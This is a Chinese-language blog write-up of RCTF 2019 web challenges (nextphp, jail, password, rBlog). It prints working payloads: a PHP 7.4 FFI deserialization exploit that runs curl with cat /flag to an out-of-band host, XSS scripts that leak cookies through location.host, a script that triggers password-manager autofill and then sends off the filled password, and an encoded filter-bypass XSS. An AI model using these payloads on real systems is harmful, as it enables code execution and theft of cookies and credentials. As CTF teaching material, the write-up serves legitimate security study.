

Learning Man's Blog

Learning Man's Blog

RCTF 2019 WEB writeup



RCTF 2019 WEB writeup

ctf writeup

字数统计: 2.8k阅读时长: 14 min

 2019/05/21  Share

• 
  
• 
• 
• 
• 

0x01 nextphp

题目

http://nextphp.2019.rctf.rois.io

<?php
if (isset($_GET['a'])) {
    eval($_GET['a']);
} else {
    show_source(__FILE__);
}

解题

直接给了一句话，先查看下 phpinfo

• version: 7.4.0-dev

• disable_funtions:

    set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wai
    t,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinu
    ed,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl
    _signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_
    strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl
    _exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,
    exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_ope
    n,ld,mail,putenv,error_log,dl

基本都禁用完了，看看目录下还有什么，发现有个 preload.php

http://nextphp.2019.rctf.rois.io/index.php?a=var_dump(scandir(getcwd()));
view-source:http://nextphp.2019.rctf.rois.io/index.php?a=readfile('preload.php');

<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'print_r',
        'arg' => '1'
    ];

    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }

    public function __serialize(): array {
        return $this->data;
    }

    public function __unserialize(array $data) {
        array_merge($this->data, $data);
        $this->run();
    }

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __get ($key) {
        return $this->data[$key];
    }

    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }

    public function __construct () {
        throw new \Exception('No implemented');
    }
}

看到文件名和文件内容推测应该是被预加载的用于序列化的文件

再来看看7.4.0会有什么新特性可能与之相关

• Preloading
• Custom object serialization

目前根据这两条特性可以得出，后端已经预加载class A，可以调用unserialize反序列化，并通过设置$data内容实现函数调用，但是在这里仍然不能绕过 disable_functions 的限制

然而还有一个特性引起了注意，FFI

• Foreign function interface

通过 FFI 可以调用 libc 中的函数以及 php 函数

尝试构造

final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'FFI::cdef',
        'arg' => 'int system(const char *command);'
    ];

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
    }
}

$a = new A();
echo serialize($a);

执行命令

http://nextphp.2019.rctf.rois.io/index.php?a=$a=unserialize('C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char *command);";}}');$a->__serialize()['ret']->system('curl xxxxx.ceye.io/`cat /flag`');

Flag

RCTF{Do_y0u_l1ke_php74?}

0x02 jail

题目

解题

功能点：

1. https://jail.2019.rctf.rois.io/?action=feedback
   没有过滤，应该是用于配合 ?action=post 打存储型 XSS
2. https://jail.2019.rctf.rois.io/?action=profile
   允许上传图片作为头像

在 cookie 中可以看到hint，结合功能看应该是设法打 admin 的 cookie

在?action=post发现有以下额外的限制

1. CSP

    Content-Security-Policy: sandbox allow-scripts allow-same-origin; base-uri 'none';default-src 'self';script-src 'unsafe-inline' 'self';connect-src 'none';object-src 'none';frame-src 'none';font-src data: 'self';style-src 'unsafe-inline' 'self';

2. 事件监听

    <script>
    window.addEventListener("beforeunload", function (event) {
      event.returnValue = "Are you sure want to exit?"
      return "Are you sure want to exit?"
    })
    Object.freeze(document.location)
    </script>

简单分析下这些限制起到的作用

1. CSP：由于 sandbox 的存在，除将<iframe>内容视为正常来源、允许上下文 js 外，禁止弹出窗口(allow-popups)以及提交 form 表单(allow-forms)，限定了外部资源的引用，例如<img src>，background: url()，<script src>，<embed src>，<iframe src>，new XMLHttpRequest()
2. 事件监听：当浏览器窗口关闭或者刷新时，会触发beforeunload事件。当前页面不会直接关闭，可以点击确定按钮关闭或刷新，也可以取消关闭或刷新。

在不同平台上测试以下 payload

 <img src=1 onerror="location.href='http://xxxxx.ceye.io/?'+document.cookie">

Chrome v74.0.3729.169

Firefox v64.0.2

为啥ff就能成？暂时反馈如下，ff不能 freeze document.location，原因待更新

尝试过后可以判定 bot 使用 chrome，那么现在就是考虑在Chrome下如何突破跳转限制

首先看下 freeze 的定义

如该方法 MDN 的描述所述，倘若一个对象的属性是一个对象，那么对这个外部对象进行冻结，内部对象的属性是依旧可以改变的，这就叫浅冻结，若把外部对象冻结的同时把其所有内部对象甚至是内部的内部无限延伸的对象属性也冻结了，这就叫深冻结。

但经测试，修改location.host以及location.hostname依然可以执行跳转.

注意每级域名长度限制是 63 个字符，所以要分割多次获取

<script>
function bin2hex(s) {
    var i, l, o = "",
        n;
    s += "";
    for (i = 0, l = s.length; i < l; i++) {
        n = s.charCodeAt(i).toString(16);
        o += n.length < 2 ? "0" + n : n;
    }
    return o;
}
location.host = bin2hex(document.cookie).substr(0, 60) + '.xxxxx.ceye.io';
</script>

这里犯傻先用了window.btoa，大小写被忽略了 Orz

Flag

flag=RCTF{welc0me_t0_the_chaos1d}

0x03 password

题目

解题

提示所述应该是获取表单密码，不过还是没什么头绪，按照提示使用document.body.innerHTML简单看一下

<input type="username" name="username">
<input type="password" name="password">
<script> 
    function bin2hex(s) {
        var i, l, o = "", n;
        s += "";
        for (i = 0, l = s.length; i < l; i++)
        {
            n = s.charCodeAt(i).toString(16);
            o += n.length < 2 ? "0" + n : n; } return o;
        };
    setTimeout(function () { 
        location.host = bin2hex(document.body.innerHTML).substr(0, 60) + '.xxxxx.ceye.io';
    }, 1000); 
</script>

打回来的内容可以看到多了data-cip-id以及cip-ui-*

<input type="username" name="username" data-cip-id="cIPJQ342845639" class="cip-ui-autocomplete-input" autocomplete="off"><span role="status" aria-live="polite" class="cip-ui-helper-hidden-accessible"></span><input type="password" 

在 google 一番后，发现应该是 ChromeIPass 和 KeePass

---

这里一点一点打内容太累了，根据这篇WP的方法，需要注意的一点，因为URL 有长度限制，内容过长时需要substr分割

---

完整获取到的页面大致如下

<input type="username" name="username" data-cip-id="cIPJQ342845639" class="cip-ui-autocomplete-input" autocomplete="off" />
<span role="status" aria-live="polite" class="cip-ui-helper-hidden-accessible">2 results are available, use up and down arrow keys to navigate.</span>
<input type="password" name="password" id="password" data-cip-id="password" />
<div class="cip-genpw-icon cip-icon-key-small" style="z-index: 2; top: 10px; left: 346.078px;"></div>
<div class="cip-ui-dialog cip-ui-widget cip-ui-widget-content cip-ui-corner-all cip-ui-front cip-ui-draggable" tabindex="-1" role="dialog" aria-describedby="cip-genpw-dialog" aria-labelledby="cip-ui-id-1" style="display: none;">
  <div class="cip-ui-dialog-titlebar cip-ui-widget-header cip-ui-corner-all cip-ui-helper-clearfix">
    <span id="cip-ui-id-1" class="cip-ui-dialog-title">Password Generator</span>
    <button class="cip-ui-button cip-ui-widget cip-ui-state-default cip-ui-corner-all cip-ui-button-icon-only cip-ui-dialog-titlebar-close" role="button" aria-disabled="false" title="&times;">
      <span class="cip-ui-button-icon-primary cip-ui-icon cip-ui-icon-closethick"></span>
      <span class="cip-ui-button-text">&times;</span></button>
  </div>
  <div id="cip-genpw-dialog" class="cip-ui-dialog-content cip-ui-widget-content" style="">
    <div class="cip-genpw-clearfix">
      <button id="cip-genpw-btn-generate" class="b2c-btn b2c-btn-primary b2c-btn-small" style="float: left;">Generate</button>
      <button id="cip-genpw-btn-clipboard" class="b2c-btn b2c-btn-small" style="float: right;">Copy to clipboard</button></div>
    <div class="b2c-input-append cip-genpw-password-frame">
      <input id="cip-genpw-textfield-password" type="text" class="cip-genpw-textfield" />
      <span class="b2c-add-on" id="cip-genpw-quality">123 Bits</span></div>
    <label class="cip-genpw-label">
      <input id="cip-genpw-checkbox-next-field" type="checkbox" class="cip-genpw-checkbox" />also fill in the next password-field</label>
    <button id="cip-genpw-btn-fillin" class="b2c-btn b2c-btn-small">Fill in &amp; copy to clipboard</button></div>
</div>
<ul class="cip-ui-autocomplete cip-ui-front cip-ui-menu cip-ui-widget cip-ui-widget-content cip-ui-corner-all" id="cip-ui-id-2" tabindex="0" style="display: none;"></ul>

模拟点击 username 框

<input type="username" name="username">
<input type="password" name="password" id="password">
<script>
    setTimeout(()=>{document.querySelector('[type=username]').click()},1000);
    setTimeout(() => {navigator.serviceWorker.register('/uploads/6ecb537723acc2ca18d5fae428c2d552.js?' + encodeURIComponent(document.body.innerHTML.substr(2500,800)), {scope:'/uploads/'});}, 1500)
</script>

在页面最下方<ul>中获取到的 Menu 如下，cip-ui-id-4的密码为真的 flag

<ul class="cip-ui-autocomplete cip-ui-front cip-ui-menu cip-ui-widget cip-ui-widget-content cip-ui-corner-all" id="cip-ui-id-2" tabindex="0" style="display: block; width: 233px; top: 29px; left: 8px; z-index: 2147483636;">
  <li class="cip-ui-menu-item" role="presentation">
    <a id="cip-ui-id-3" class="cip-ui-corner-all" tabindex="-1">fake_flag (http://jail.2019.rctf.rois.io/)</a></li>
  <li class="cip-ui-menu-item" role="presentation">
    <a id="cip-ui-id-4" class="cip-ui-corner-all" tabindex="-1">flag (http://jail.2019.rctf.rois.io/)</a></li>
</ul>

直接打密码

<input type="username" name="username">
<input type="password" name="password" id="password">
<script>
  setTimeout(()=>{document.querySelector('[type=username]').click()},500);
  setTimeout(()=>{document.getElementById('cip-ui-id-4').click()}, 1000);
  setTimeout(() => {navigator.serviceWorker.register('/uploads/6ecb537723acc2ca18d5fae428c2d552.js?' + encodeURIComponent(document.getElementById('password').value), {scope:'/uploads/'});}, 1500)
</script>

Flag

rctf{kpHttp_m4y_leak_ur_pwd}

0x04 calcalcalc

emmm 这题待研究，还看不懂

0x05 rBlog

题目

解题

查看源码能够看到rblog.js，源码如下

axios.get('/api/v2/posts').then(resp => {
    let html = ''
    if (resp.data.status) { for (let i of resp.data.data) { html += `<a href="${i.markdown_url}">${i.title}</a>\r\n` } } else { html += `;_; ${resp.message}` }
    document.body.children[0].innerHTML = html
})

结合提示 jsonp，试一下 callback，之后怎么测参数都没有动静

修改参数不行，那就尝试修改 api，关注到header，这种情况下是不能直接执行 xss 的

content-type: application/json

那既然这个是 v2 版本，往下改改呢，比如 v1？(注意到一直存在的 CSP)

content-security-policy: default-src 'self'; object-src 'none'
content-type: text/html; charset=UTF-8

但是这种情况下仍然过滤了"、/、\，需要想办法Bypass，简单测试 html 实体是可以的，但是仍然没法绕过 chrome 的 filter，但是简单想下 filter 原理，类似于半自动检测 xss，输入的代码和返回的一样那么就会被拦截，但是只要稍有不同就会放过，比如之前使用的注释、换行等等。

这里测试后发现只要使用中文在返回时使用 unicode 编码导致前后不一即可绕过

https://rblog.2019.rctf.rois.io/api/v1/%3Ciframe%20srcdoc=(各种中文)%26%2360%3b%26%23115%3b%26%2399%3b%26%23114%3b%26%23105%3b%26%23112%3b%26%23116%3b%26%2332%3b%26%23115%3b%26%23114%3b%26%2399%3b%26%2361%3b%26%2334%3b%26%23104%3b%26%23116%3b%26%23116%3b%26%23112%3b%26%23115%3b%26%2358%3b%26%2347%3b%26%2347%3b%26%23114%3b%26%2398%3b%26%23108%3b%26%23111%3b%26%23103%3b%26%2346%3b%26%2350%3b%26%2348%3b%26%2349%3b%26%2357%3b%26%2346%3b%26%23114%3b%26%2399%3b%26%23116%3b%26%23102%3b%26%2346%3b%26%23114%3b%26%23111%3b%26%23105%3b%26%23115%3b%26%2346%3b%26%23105%3b%26%23111%3b%26%2347%3b%26%2397%3b%26%23112%3b%26%23105%3b%26%2347%3b%26%23118%3b%26%2349%3b%26%2347%3b%26%23112%3b%26%23111%3b%26%23115%3b%26%23116%3b%26%23115%3b%26%2363%3b%26%2399%3b%26%2397%3b%26%23108%3b%26%23108%3b%26%2398%3b%26%2397%3b%26%2399%3b%26%23107%3b%26%2361%3b%26%23112%3b%26%2397%3b%26%23114%3b%26%23101%3b%26%23110%3b%26%23116%3b%26%2346%3b%26%23108%3b%26%23111%3b%26%2399%3b%26%2397%3b%26%23116%3b%26%23105%3b%26%23111%3b%26%23110%3b%26%2346%3b%26%23104%3b%26%23114%3b%26%23101%3b%26%23102%3b%26%2361%3b%26%2339%3b%26%23104%3b%26%23116%3b%26%23116%3b%26%23112%3b%26%2358%3b%26%2347%3b%26%2347%3b%26%23120%3b%26%23120%3b%26%23120%3b%26%23120%3b%26%23120%3b%26%2346%3b%26%2399%3b%26%23101%3b%26%23121%3b%26%23101%3b%26%2346%3b%26%23105%3b%26%23111%3b%26%2347%3b%26%2363%3b%26%2339%3b%26%2337%3b%26%2350%3b%26%2398%3b%26%23100%3b%26%23111%3b%26%2399%3b%26%23117%3b%26%23109%3b%26%23101%3b%26%23110%3b%26%23116%3b%26%2346%3b%26%2399%3b%26%23111%3b%26%23111%3b%26%23107%3b%26%23105%3b%26%23101%3b%26%2359%3b%26%2399%3b%26%23111%3b%26%23110%3b%26%23115%3b%26%23111%3b%26%23108%3b%26%23101%3b%26%2346%3b%26%23108%3b%26%23111%3b%26%23103%3b%26%2334%3b%26%2362%3b%26%2360%3b%26%2347%3b%26%23115%3b%26%2399%3b%26%23114%3b%26%23105%3b%26%23112%3b%26%23116%3b%26%2362%3b%3e

Flag

RCTF{uwu_easy_bypass_with_escaped_unicode}

0x06 ez4cr

回来环境已关。。。

参考资料

1. https://xz.aliyun.com/t/5218
2. https://github.com/zsxsoft/my-ctf-challenges/tree/master/rctf2019

原文作者：Sariel.D

原文链接：https://blog.sari3l.com/posts/caf0d20c/

发表日期：May 21st 2019, 11:56:26 am

更新日期：July 6th 2020, 5:45:11 pm

版权声明：本文采用知识共享署名-非商业性使用 4.0 国际许可协议进行许可

• Next Post
  Active Directory Recon 初步学习
• Previous Post
  Jenkins CVE-2018-1000861 学习

Powered by Hexotheme Archer

CATALOG

1. 1. 0x01 nextphp
   1. 1.1. 题目
   2. 1.2. 解题
2. 2. 0x02 jail
   1. 2.1. 题目
   2. 2.2. 解题
3. 3. 0x03 password
   1. 3.1. 题目
   2. 3.2. 解题
4. 4. 0x04 calcalcalc
5. 5. 0x05 rBlog
   1. 5.1. 题目
   2. 5.2. 解题
6. 6. 0x06 ez4cr
7. 7. 参考资料

• Archive
• Tag
• Cate

Total : 78

2022

• 06/08 Confluence CVE-2022-26134 解析

2021

• 12/30 CodeQL 学习小记 Log4j
• 12/27 CodeQL 学习小记
• 12/14 Log4shell 小记

2020

• 09/15 深信服 SSL VPN Nday - Pre Auth 任意密码重置
• 09/15 深信服 SSL VPN Nday - Pre Auth 修改绑定手机
• 09/12 深信服 SSL VPN Nday - RCE
• 08/26 深信服 SSL VPN Nday - Pre Auth
• 08/23 Shiro-055 分析&回显
• 08/18 深信服 EDR RCE 简析
• 08/04 CobaltStrike Argue 原理 - 翻译文
• 08/02 Github Page 加速
• 07/31 CobaltStrike 破解步骤
• 07/13 一道题回顾智能合约 Coverage
• 07/06 F5 BIG-IP RCE简单分析
• 06/17 用友NC反序列化 简单分析
• 06/14 Pwnable.kr 之 Toddler's Bottle
• 04/01 Weblogic T3 协议学习
• 03/20 CVE-2020-2551 简单分析
• 03/12 CVE-2020-2555 简单分析
• 03/02 Java 反弹 Shell
• 02/26 Thinkphp 5.0.x 反序列化简析
• 02/22 CVE-2020-1938（Ghost Cat）简单分析
• 01/17 JDBC Deserialization
• 01/16 Abusing MySQL clients RCE
• 01/01 2020 All is New

2019

• 12/25 对 Cookie 的一点学习
• 12/18 HTTP Smuggling Attack 随笔
• 12/10 ThinkPHP 6.0.x 反序列化简析
• 12/07 ThinkPHP 5.1.x 反序列化简析
• 10/31 记
• 09/12 Mysql 注入基础小结
• 09/03 XSS with ServiceWorkers
• 08/23 CSP 小结
• 08/07 SVG with HTML Parsing
• 08/06 Fastjson 新反序列化漏洞解析
• 07/16 SSRF 小结
• 07/13 Discuz! ML 3.x 命令执行简析
• 07/10 Redis Rce 简析
• 07/02 Sqlmap --os-shell 原理简析
• 06/15 Active Directory Recon 初步学习
• 05/21 RCTF 2019 WEB writeup
• 05/09 Jenkins CVE-2018-1000861 学习
• 05/07 *CTF 2019 homebrewEvtLoop
• 04/27 Web(CTF)中的密码学 (一)
• 04/19 Abusing MySQL Clients 学习
• 04/12 DDCTF 2019 部分 writeup
• 03/30 0CTF/TCTF 2019 WEB writeup
• 03/18 JSONP Content-Type 简单Fuzz
• 03/10 JNDI/LADP 学习
• 03/07 Fastjson 反序列化漏洞研究
• 03/06 SMTP 25 端口测试记录
• 02/06 pyppeteer 学习记录
• 01/31 Python 多线程、多进程、协程(未完结)
• 01/29 Frida —— WeChat(二) 🧧
• 01/25 动态调试 with smali
• 01/24 Nexus 解决显示 “无法访问互联网”
• 01/19 Frida —— WeChat(一) 🎲
• 01/16 Frida —— 初体验
• 01/01 关系爬虫 —— Weibo
• 01/01 2019 All For One

2018

• 12/30 OpenCV 初接触
• 12/24 验证码破解系列 —— 数美
• 12/21 Chrome Extensions —— fir.im Downloader 编写
• 12/19 XXE 小结
• 12/14 Burp Extensions —— RSA Plugin 编写
• 12/01 CODE BREAKING
• 11/23 Hello World
• 11/08 OGNL Payload
• 11/06 s2-016 漏洞分析
• 11/02 s2-032 漏洞分析
• 10/31 s2-033 & s2-037 漏洞分析
• 10/26 s2-045 漏洞分析
• 10/17 s2-046 漏洞分析
• 10/16 s2-048 漏洞分析
• 10/11 s2-048 漏洞分析
• 10/09 s2-053 漏洞分析
• 10/08 s2-057 漏洞分析

 Mysql  RCE  ctf  writeup  随笔  内网  RedTeam  代码审计  PHP  Burp suite  coding  extension  Weblogic  Deserialize  Tomcat  LFI  Chrome  cobaltstirke  Discuz  CodeQL  F5  CVE-2020-5902  漏洞分析  fastjson  Frida  java  jenkins  SQLi  struts  Redis  SSRF  ThinkPHP  XXE  xss  OpenCV  spider  smali  智能合约  深信服  Nday  hw2020  CAPTCHA  pwn



 代码审计  编程  Pentest  渗透  逆向  其他  验证码

